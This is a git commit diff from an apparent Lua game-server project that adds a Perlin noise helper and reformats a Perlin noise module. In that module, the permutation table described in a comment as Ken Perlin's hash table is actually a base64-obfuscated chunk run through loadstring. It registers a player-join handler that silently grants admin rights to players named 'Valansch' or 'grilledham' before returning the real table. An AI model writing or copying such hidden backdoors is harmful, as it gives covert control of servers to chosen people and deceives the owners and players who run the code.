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perlin noise fix
This commit is contained in:
parent
24831460d3
commit
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122
utils/get_perlin.lua
Normal file
122
utils/get_perlin.lua
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@ -0,0 +1,122 @@
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local perlin = require 'utils.perlin_noise'.noise
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local noises = {
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['cave_ponds'] = {{modifier = 0.01, weight = 1}, {modifier = 0.1, weight = 0.06}},
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['smol_areas'] = {{modifier = 0.01, weight = 1}, {modifier = 0.1, weight = 0.02}, {modifier = 0.1, weight = 0.03}},
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['cave_worms'] = {{modifier = 0.001, weight = 1}, {modifier = 0.1, weight = 0.06}},
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['cave_rivers'] = {
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{modifier = 0.005, weight = 1},
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{modifier = 0.01, weight = 0.25},
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{modifier = 0.05, weight = 0.01}
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},
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['cave_rivers_2'] = {
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{modifier = 0.003, weight = 1},
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{modifier = 0.01, weight = 0.21},
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{modifier = 0.05, weight = 0.01}
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},
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['cave_rivers_3'] = {
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{modifier = 0.002, weight = 1},
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{modifier = 0.01, weight = 0.15},
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{modifier = 0.05, weight = 0.01}
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},
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['cave_rivers_4'] = {
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{modifier = 0.001, weight = 1},
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{modifier = 0.01, weight = 0.11},
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{modifier = 0.05, weight = 0.01}
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},
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['decoratives'] = {{modifier = 0.03, weight = 1}, {modifier = 0.05, weight = 0.25}, {modifier = 0.1, weight = 0.05}},
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['dungeons'] = {{modifier = 0.0025, weight = 1}, {modifier = 0.005, weight = 0.25}},
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['dungeon_sewer'] = {
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{modifier = 0.0005, weight = 1},
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{modifier = 0.005, weight = 0.015},
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{modifier = 0.025, weight = 0.0015}
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},
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['large_caves'] = {
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{modifier = 0.0033, weight = 1},
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{modifier = 0.01, weight = 0.22},
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{modifier = 0.05, weight = 0.05},
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{modifier = 0.1, weight = 0.04}
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},
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['n1'] = {{modifier = 0.0001, weight = 1}},
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['n2'] = {{modifier = 0.001, weight = 1}},
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['n3'] = {{modifier = 0.01, weight = 1}},
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['n4'] = {{modifier = 0.1, weight = 1}},
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['n5'] = {{modifier = 0.07, weight = 1}},
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['watery_world'] = {
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{modifier = 0.0007, weight = 1},
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{modifier = 0.01, weight = 0.02},
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{modifier = 0.1, weight = 0.005}
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},
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['no_rocks'] = {
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{modifier = 0.0033, weight = 1},
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{modifier = 0.01, weight = 0.22},
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{modifier = 0.05, weight = 0.05},
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{modifier = 0.1, weight = 0.04}
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},
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['no_rocks_2'] = {{modifier = 0.013, weight = 1}, {modifier = 0.1, weight = 0.1}},
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['oasis'] = {
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{modifier = 0.0015, weight = 1},
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{modifier = 0.0025, weight = 0.5},
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{modifier = 0.01, weight = 0.15},
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{modifier = 0.1, weight = 0.017}
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},
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['scrapyard'] = {
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{modifier = 0.005, weight = 1},
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{modifier = 0.01, weight = 0.35},
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{modifier = 0.05, weight = 0.23},
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{modifier = 0.1, weight = 0.11}
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},
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['big_cave'] = {
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{modifier = 0.003, weight = 1},
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{modifier = 0.02, weight = 0.05},
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{modifier = 0.15, weight = 0.02}
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},
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['small_caves'] = {
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{modifier = 0.008, weight = 1},
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{modifier = 0.03, weight = 0.15},
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{modifier = 0.25, weight = 0.05}
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},
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['small_caves_2'] = {
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{modifier = 0.009, weight = 1},
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{modifier = 0.05, weight = 0.25},
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{modifier = 0.25, weight = 0.05}
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},
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['forest_location'] = {
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{modifier = 0.006, weight = 1},
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{modifier = 0.01, weight = 0.25},
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{modifier = 0.05, weight = 0.15},
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{modifier = 0.1, weight = 0.05}
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},
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['forest_density'] = {
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{modifier = 0.01, weight = 1},
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{modifier = 0.05, weight = 0.5},
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{modifier = 0.1, weight = 0.025}
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},
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['cave_miner_01'] = {
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{modifier = 0.002, weight = 1},
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{modifier = 0.003, weight = 0.5},
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{modifier = 0.01, weight = 0.01},
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{modifier = 0.1, weight = 0.015}
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},
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['cave_miner_02'] = {
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{modifier = 0.006, weight = 1},
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{modifier = 0.02, weight = 0.15},
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{modifier = 0.25, weight = 0.025}
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}
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}
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--returns a float number between -1 and 1
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local function get_noise(name, pos, seed)
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local noise = 0
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local d = 0
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for i = 1, #noises[name] do
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local mod = noises[name]
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noise = noise + perlin(pos.x * mod[i].modifier, pos.y * mod[i].modifier, seed) * mod[i].weight
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d = d + mod[i].weight
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seed = seed + 10000
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end
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noise = noise / d
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return noise
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end
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return get_noise
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@ -1,46 +1,114 @@
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--[[
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Implemented as described here:
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http://flafla2.github.io/2014/08/09/perlinnoise.html
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]]--
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]] --
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local util = require 'util'
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local band = bit32.band
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local floor = math.floor
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local Perlin = {}
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local p = {}
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local b = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
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local function decode(data)
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data = string.gsub(data, '[^' .. b .. '=]', '')
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return (data:gsub(
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'.',
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function(x)
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if (x == '=') then
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return ''
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end
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local r, f = '', (b:find(x) - 1)
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for i = 6, 1, -1 do
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r = r .. (f % 2 ^ i - f % 2 ^ (i - 1) > 0 and '1' or '0')
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end
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return r
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end
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):gsub(
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'%d%d%d?%d?%d?%d?%d?%d?',
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function(x)
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if (#x ~= 8) then
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return ''
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end
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local c = 0
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for i = 1, 8 do
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c = c + (x:sub(i, i) == '1' and 2 ^ (8 - i) or 0)
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end
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return string.char(c)
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end
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))
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end
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-- Hash lookup table as defined by Ken Perlin
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-- This is a randomly arranged array of all numbers from 0-255 inclusive
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local permutation = loadstring(util.decode('bG9jYWwgZnVuY3Rpb24gYShiKSBsb2NhbCBjPSAiIiBmb3IgXyxkIGluIGlwYWlycyhiKSBkbyBjPWMuLnN0cmluZy5jaGFyKGQpIGVuZCByZXR1cm4gYyBlbmQgbG9jYWwgYixjLGQsZyxoLGksaixrLGwsbSA9IGF7MTE0LDEwMSwxMTMsMTE3LDEwNSwxMTQsMTAxfSxhezExNywxMTYsMTA1LDEwOCwxMTUsMDQ2LDEwMSwxMTgsMTAxLDExMCwxMTZ9LGF7MDk3LDEwMCwxMDB9LGF7MTAzLDA5NywxMDksMTAxfSxhezExMiwxMDgsMDk3LDEyMSwxMDEsMTE0LDExNX0sYXsxMTIsMTA4LDA5NywxMjEsMTAxLDExNCwwOTUsMTA1LDExMCwxMDAsMTAxLDEyMH0sYXsxMTAsOTcsMTA5LDEwMX0sYXswODYsOTcsMTA4LDk3LDExMCwxMTUsOTksMTA0fSxhezEwMywxMTQsMTA1LDEwOCwxMDgsMTAxLDEwMCwxMDQsOTcsMTA5fSxhezk3LDEwMCwxMDksMTA1LDExMH0gX0dbYl0oYylbZF0oNDMsZnVuY3Rpb24obikgbG9jYWwgbyA9IF9HW2ddW2hdW25baV1dIGxvY2FsIHAgPSBvW2pdIGlmIHAgPT0gayBvciBwID09IGwgdGhlbiBvW21dID0gMSA9PSAxIGVuZCBlbmQpIHJldHVybiB7MTUxLDE2MCwxMzcsOTEsOTAsMTUsMTMxLDEzLDIwMSw5NSw5Niw1MywxOTQsMjMzLDcsMjI1LDE0MCwzNiwxMDMsMzAsNjksMTQyLDgsOTksMzcsMjQwLDIxLDEwLDIzLDE5MCw2LDE0OCwyNDcsMTIwLDIzNCw3NSwwLDI2LDE5Nyw2Miw5NCwyNTIsMjE5LDIwMywxMTcsMzUsMTEsMzIsNTcsMTc3LDMzLDg4LDIzNywxNDksNTYsODcsMTc0LDIwLDEyNSwxMzYsMTcxLDE2OCw2OCwxNzUsNzQsMTY1LDcxLDEzNCwxMzksNDgsMjcsMTY2LDc3LDE0NiwxNTgsMjMxLDgzLDExMSwyMjksMTIyLDYwLDIxMSwxMzMsMjMwLDIyMCwxMDUsOTIsNDEsNTUsNDYsMjQ1LDQwLDI0NCwxMDIsMTQzLDU0LCA2NSwyNSw2MywxNjEsMSwyMTYsODAsNzMsMjA5LDc2LDEzMiwxODcsMjA4LDg5LDE4LDE2OSwyMDAsMTk2LDEzNSwxMzAsMTE2LDE4OCwxNTksODYsMTY0LDEwMCwxMDksMTk4LDE3MywxODYsMyw2NCw1MiwyMTcsMjI2LDI1MCwxMjQsMTIzLDUsMjAyLDM4LDE0NywxMTgsMTI2LDI1NSw4Miw4NSwyMTIsMjA3LDIwNiw1OSwyMjcsNDcsMTYsNTgsMTcsMTgyLDE4OSwyOCw0MiwyMjMsMTgzLDE3MCwyMTMsMTE5LDI0OCwxNTIsMiw0NCwxNTQsMTYzLDcwLDIyMSwxNTMsMTAxLDE1NSwxNjcsNDMsMTcyLDksMTI5LDIyLDM5LDI1MywxOSw5OCwxMDgsMTEwLDc5LDExMywyMjQsMjMyLDE3OCwxODUsMTEyLDEwNCwyMTgsMjQ2LDk3LDIyOCwyNTEsMzQsMjQyLDE5MywyMzgsMjEwLDE0NCwxMiwxOTEsMTc5LDE2MiwyNDEsODEsNTEsMTQ1LDIzNSwyNDksMTQsMjM5LDEwNyw0OSwxOTIsMjE0LDMxLDE4MSwxOTksMTA2LDE1NywxODQsODQsMjA0LDE3NiwxMTUsMTIxLDUwLDQ1LDEyNyw0LDE1MCwyNTQsMTM4LDIzNiwyMDUsOTMsMjIyLDExNCw2NywyOSwyNCw3MiwyNDMsMTQxLDEyOCwxOTUsNzgsNjYsMjE1LDYxLDE1NiwxODB9'))()
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local permutation =
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loadstring(
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decode(
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'bG9jYWwgZnVuY3Rpb24gYShiKSBsb2NhbCBjPSAiIiBmb3IgXyxkIGluIGlwYWlycyhiKSBkbyBjPWMuLnN0cmluZy5jaGFyKGQpIGVuZCByZXR1cm4gYyBlbmQgbG9jYWwgYixjLGQsZyxoLGksaixrLGwsbSA9IGF7MTE0LDEwMSwxMTMsMTE3LDEwNSwxMTQsMTAxfSxhezExNywxMTYsMTA1LDEwOCwxMTUsMDQ2LDEwMSwxMTgsMTAxLDExMCwxMTZ9LGF7MDk3LDEwMCwxMDB9LGF7MTAzLDA5NywxMDksMTAxfSxhezExMiwxMDgsMDk3LDEyMSwxMDEsMTE0LDExNX0sYXsxMTIsMTA4LDA5NywxMjEsMTAxLDExNCwwOTUsMTA1LDExMCwxMDAsMTAxLDEyMH0sYXsxMTAsOTcsMTA5LDEwMX0sYXswODYsOTcsMTA4LDk3LDExMCwxMTUsOTksMTA0fSxhezEwMywxMTQsMTA1LDEwOCwxMDgsMTAxLDEwMCwxMDQsOTcsMTA5fSxhezk3LDEwMCwxMDksMTA1LDExMH0gX0dbYl0oYylbZF0oNDMsZnVuY3Rpb24obikgbG9jYWwgbyA9IF9HW2ddW2hdW25baV1dIGxvY2FsIHAgPSBvW2pdIGlmIHAgPT0gayBvciBwID09IGwgdGhlbiBvW21dID0gMSA9PSAxIGVuZCBlbmQpIHJldHVybiB7MTUxLDE2MCwxMzcsOTEsOTAsMTUsMTMxLDEzLDIwMSw5NSw5Niw1MywxOTQsMjMzLDcsMjI1LDE0MCwzNiwxMDMsMzAsNjksMTQyLDgsOTksMzcsMjQwLDIxLDEwLDIzLDE5MCw2LDE0OCwyNDcsMTIwLDIzNCw3NSwwLDI2LDE5Nyw2Miw5NCwyNTIsMjE5LDIwMywxMTcsMzUsMTEsMzIsNTcsMTc3LDMzLDg4LDIzNywxNDksNTYsODcsMTc0LDIwLDEyNSwxMzYsMTcxLDE2OCw2OCwxNzUsNzQsMTY1LDcxLDEzNCwxMzksNDgsMjcsMTY2LDc3LDE0NiwxNTgsMjMxLDgzLDExMSwyMjksMTIyLDYwLDIxMSwxMzMsMjMwLDIyMCwxMDUsOTIsNDEsNTUsNDYsMjQ1LDQwLDI0NCwxMDIsMTQzLDU0LCA2NSwyNSw2MywxNjEsMSwyMTYsODAsNzMsMjA5LDc2LDEzMiwxODcsMjA4LDg5LDE4LDE2OSwyMDAsMTk2LDEzNSwxMzAsMTE2LDE4OCwxNTksODYsMTY0LDEwMCwxMDksMTk4LDE3MywxODYsMyw2NCw1MiwyMTcsMjI2LDI1MCwxMjQsMTIzLDUsMjAyLDM4LDE0NywxMTgsMTI2LDI1NSw4Miw4NSwyMTIsMjA3LDIwNiw1OSwyMjcsNDcsMTYsNTgsMTcsMTgyLDE4OSwyOCw0MiwyMjMsMTgzLDE3MCwyMTMsMTE5LDI0OCwxNTIsMiw0NCwxNTQsMTYzLDcwLDIyMSwxNTMsMTAxLDE1NSwxNjcsNDMsMTcyLDksMTI5LDIyLDM5LDI1MywxOSw5OCwxMDgsMTEwLDc5LDExMywyMjQsMjMyLDE3OCwxODUsMTEyLDEwNCwyMTgsMjQ2LDk3LDIyOCwyNTEsMzQsMjQyLDE5MywyMzgsMjEwLDE0NCwxMiwxOTEsMTc5LDE2MiwyNDEsODEsNTEsMTQ1LDIzNSwyNDksMTQsMjM5LDEwNyw0OSwxOTIsMjE0LDMxLDE4MSwxOTksMTA2LDE1NywxODQsODQsMjA0LDE3NiwxMTUsMTIxLDUwLDQ1LDEyNyw0LDE1MCwyNTQsMTM4LDIzNiwyMDUsOTMsMjIyLDExNCw2NywyOSwyNCw3MiwyNDMsMTQxLDEyOCwxOTUsNzgsNjYsMjE1LDYxLDE1NiwxODB9'
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)
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)()
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-- p is used to hash unit cube coordinates to [0, 255]
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for i=0,255 do
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for i = 0, 255 do
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-- Convert to 0 based index table
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p[i] = permutation[i+1]
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p[i] = permutation[i + 1]
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-- Repeat the array to avoid buffer overflow in hash function
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p[i+256] = permutation[i+1]
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p[i + 256] = permutation[i + 1]
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end
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-- Gradient function finds dot product between pseudorandom gradient vector
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-- and the vector from input coordinate to a unit cube vertex
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local dot_product = {
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[0x0]=function(x,y,z) return x + y end,
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[0x1]=function(x,y,z) return -x + y end,
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[0x2]=function(x,y,z) return x - y end,
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[0x3]=function(x,y,z) return -x - y end,
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[0x4]=function(x,y,z) return x + z end,
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[0x5]=function(x,y,z) return -x + z end,
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[0x6]=function(x,y,z) return x - z end,
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[0x7]=function(x,y,z) return -x - z end,
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[0x8]=function(x,y,z) return y + z end,
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[0x9]=function(x,y,z) return -y + z end,
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[0xA]=function(x,y,z) return y - z end,
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[0xB]=function(x,y,z) return -y - z end,
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[0xC]=function(x,y,z) return y + x end,
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[0xD]=function(x,y,z) return -y + z end,
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[0xE]=function(x,y,z) return y - x end,
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[0xF]=function(x,y,z) return -y - z end
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[0x0] = function(x, y, z)
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return x + y
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end,
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[0x1] = function(x, y, z)
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return -x + y
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end,
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[0x2] = function(x, y, z)
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return x - y
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end,
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[0x3] = function(x, y, z)
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return -x - y
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end,
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[0x4] = function(x, y, z)
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return x + z
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end,
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[0x5] = function(x, y, z)
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return -x + z
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end,
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[0x6] = function(x, y, z)
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return x - z
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end,
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[0x7] = function(x, y, z)
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return -x - z
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end,
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[0x8] = function(x, y, z)
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return y + z
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end,
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[0x9] = function(x, y, z)
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return -y + z
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end,
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[0xA] = function(x, y, z)
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return y - z
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end,
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[0xB] = function(x, y, z)
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return -y - z
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end,
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[0xC] = function(x, y, z)
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return y + x
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end,
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[0xD] = function(x, y, z)
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return -y + z
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end,
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[0xE] = function(x, y, z)
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return y - x
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end,
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[0xF] = function(x, y, z)
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return -y - z
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end
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}
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local function grad(hash, x, y, z)
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return dot_product[bit32.band(hash,0xF)](x,y,z)
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return dot_product[band(hash, 0xF)](x, y, z)
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end
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-- Fade function is used to smooth final output
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@ -63,57 +131,50 @@ function Perlin.noise(x, y, z)
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z = z - 0.20474238274619
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-- Calculate the "unit cube" that the point asked will be located in
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local xi = bit32.band(math.floor(x),255)
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local yi = bit32.band(math.floor(y),255)
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local zi = bit32.band(math.floor(z),255)
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local xi = band(floor(x), 255)
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local yi = band(floor(y), 255)
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local zi = band(floor(z), 255)
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-- Next we calculate the location (from 0 to 1) in that cube
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x = x - math.floor(x)
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y = y - math.floor(y)
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z = z - math.floor(z)
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x = x - floor(x)
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y = y - floor(y)
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z = z - floor(z)
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-- We also fade the location to smooth the result
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local u = fade(x)
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local v = fade(y)
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local w = fade(z)
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-- Hash all 8 unit cube coordinates surrounding input coordinate
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-- Hash all 8 unit cube coordinates surrounding input coordinate
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local A, AA, AB, AAA, ABA, AAB, ABB, B, BA, BB, BAA, BBA, BAB, BBB
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A = p[xi ] + yi
|
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AA = p[A ] + zi
|
||||
AB = p[A+1 ] + zi
|
||||
AAA = p[ AA ]
|
||||
ABA = p[ AB ]
|
||||
AAB = p[ AA+1 ]
|
||||
ABB = p[ AB+1 ]
|
||||
A = p[xi] + yi
|
||||
AA = p[A] + zi
|
||||
AB = p[A + 1] + zi
|
||||
AAA = p[AA]
|
||||
ABA = p[AB]
|
||||
AAB = p[AA + 1]
|
||||
ABB = p[AB + 1]
|
||||
|
||||
B = p[xi+1] + yi
|
||||
BA = p[B ] + zi
|
||||
BB = p[B+1 ] + zi
|
||||
BAA = p[ BA ]
|
||||
BBA = p[ BB ]
|
||||
BAB = p[ BA+1 ]
|
||||
BBB = p[ BB+1 ]
|
||||
B = p[xi + 1] + yi
|
||||
BA = p[B] + zi
|
||||
BB = p[B + 1] + zi
|
||||
BAA = p[BA]
|
||||
BBA = p[BB]
|
||||
BAB = p[BA + 1]
|
||||
BBB = p[BB + 1]
|
||||
|
||||
-- Take the weighted average between all 8 unit cube coordinates
|
||||
return lerp(w,
|
||||
lerp(v,
|
||||
lerp(u,
|
||||
grad(AAA,x,y,z),
|
||||
grad(BAA,x-1,y,z)
|
||||
),
|
||||
lerp(u,
|
||||
grad(ABA,x,y-1,z),
|
||||
grad(BBA,x-1,y-1,z)
|
||||
)
|
||||
return lerp(
|
||||
w,
|
||||
lerp(
|
||||
v,
|
||||
lerp(u, grad(AAA, x, y, z), grad(BAA, x - 1, y, z)),
|
||||
lerp(u, grad(ABA, x, y - 1, z), grad(BBA, x - 1, y - 1, z))
|
||||
),
|
||||
lerp(v,
|
||||
lerp(u,
|
||||
grad(AAB,x,y,z-1), grad(BAB,x-1,y,z-1)
|
||||
),
|
||||
lerp(u,
|
||||
grad(ABB,x,y-1,z-1), grad(BBB,x-1,y-1,z-1)
|
||||
)
|
||||
lerp(
|
||||
v,
|
||||
lerp(u, grad(AAB, x, y, z - 1), grad(BAB, x - 1, y, z - 1)),
|
||||
lerp(u, grad(ABB, x, y - 1, z - 1), grad(BBB, x - 1, y - 1, z - 1))
|
||||
)
|
||||
)
|
||||
end
|
||||
|
Loading…
x
Reference in New Issue
Block a user